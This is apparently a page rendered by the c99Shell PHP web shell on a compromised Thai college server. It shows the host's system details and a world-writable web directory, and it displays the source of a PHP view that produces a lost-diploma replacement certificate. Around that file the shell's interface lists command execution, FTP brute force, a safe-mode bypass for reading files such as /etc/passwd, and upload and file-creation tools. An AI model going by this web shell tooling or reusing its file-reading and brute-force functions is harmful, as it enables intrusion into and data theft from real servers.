!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_rptRis122Word.php (3.17 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
('Content-type: application/ms-doc');
header('Content-Disposition: attachment; filename="Ris122.doc"');
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<table width="600" align="center" border="0" cellpadding="0" cellspacing="1">
<?php
    
if($qu_std->num_rows()){
        
$row $qu_std->row();
        
        list(
$yy$mm$dd) = preg_split("[-]"$row->stdGraduateDate);
        list(
$dd2$mm2$yy2) = preg_split("[\/]"$postDate);
        
$yy2 += 543;
?>
    <tr>
        <td colspan="2" align="right"><font size="3"><b>RIS122</b></font><br><br></td>        
    </tr>
    <tr>
        <td colspan="2" align="center"><img src="<?=base_url().$this->config->item("rg_mark");?>" width="110" height="120" border="0"><br><br></td>
    </tr>
    <tr>
        <td width="55%"><font size="4">ที่ สธ……………/ เลขที่ออก……………</font></td>
        <td width="45%"><font size="4"><?=iconv('UTF-8','TIS-620',$cfgSiteName);?></font></td>
    </tr>
    <tr>
        <td></td>
        <td><font size="4"><?=iconv('UTF-8','TIS-620',$cfgClgAddr);?></font><br><br><br></td>
    </tr>
    <tr>
        <td colspan="2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        <font size="4">หนังสือฉบับนี้ให้ไว้เพื่อรับรองว่า
        <?=iconv('UTF-8','TIS-620',$row->prefixName.$row->stdName.' '.$row->stdSurname);?>
        เป็นผู้สำเร็จการศึกษาหลักสูตร <?=iconv('UTF-8','TIS-620',$row->curName);?>
        เข้าศึกษา ณ <?=iconv('UTF-8','TIS-620',$cfgSiteName);?>
        ของ<?=iconv('UTF-8','TIS-620',$cfgMinistry);?>
        ได้รับประกาศนียบัตร เลขที่ <?=iconv('UTF-8','TIS-620',$row->stdCode);?>
        ออกให้เมื่อวันที่ <?php echo intval($dd);?> เดือน <?php echo iconv('UTF-8','TIS-620',getMonthTh($mm));?> พ.ศ. <?php echo $yy;?>
        แต่ประกาศนียบัตรได้สูญหาย และได้แจ้งความไว้แล้วที่สถานีตำรวจ <?php echo iconv('UTF-8','TIS-620',$policeStation);?>
        เมื่อวันที่ <?php echo intval($dd2);?> เดือน <?php echo iconv('UTF-8','TIS-620',getMonthTh($mm2));?> พ.ศ. <?php echo $yy2;?>
        จึงออกหนังสือรับรองฉบับนี้ไว้เป็นหลักฐาน</font></td>
    </tr>
    <tr>
        <td colspan="2"><br><br><br><table width="100%">
            <tr>
                <td width="18%"></td>
                <td align="center"><font size="4">ให้ไว้ ณ วันที่ <?php echo intval(date('d'));?> เดือน <?php echo iconv('UTF-8','TIS-620',getMonthTh(date('m')));?> พ.ศ. <?php echo date('Y')+543;?></font><br><br><br><br></td>
            </tr>
            <tr>
                <td></td>
                <td align="center"><font size="4">(<?=iconv('UTF-8','TIS-620',$prs_name);?>)</font></td>
            </tr>
<?php
            
if($directorType!='') {
?>
            <tr>
                <td></td>
                <td align="center"><font size="4"><?=iconv('UTF-8','TIS-620',$directorType);?></font></td>
            </tr>
<?php
            
}
?>
            <tr>
                <td></td>
                <td align="center"><font size="4">ผู้อำนวยการ<?=iconv('UTF-8','TIS-620',$cfgSiteName);?></font><br><br><br></td>
            </tr>
            <tr>
                <td height="120" bgcolor="#CCCCCC"></td>
                <td></td>
            </tr>
        </table></td>
    </tr>
    <tr>
        <td colspan="2"><br><font size="4">………………………………...ลายมือชื่อนักศึกษา</font></td>
    </tr>
    <tr>
        <td colspan="2"><font size="4">(ชื่อ-สกุลตัวบรรจง)</font></td>
    </tr>
<?php
    
}
    else {
?>
    <tr>
        <td colspan="2" align="center"><font size="2">** ไม่ปรากฏรหัสนักศึกษาดังกล่าว **</font></td>
    </tr>
<?php
    
}
?>            
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0094 ]--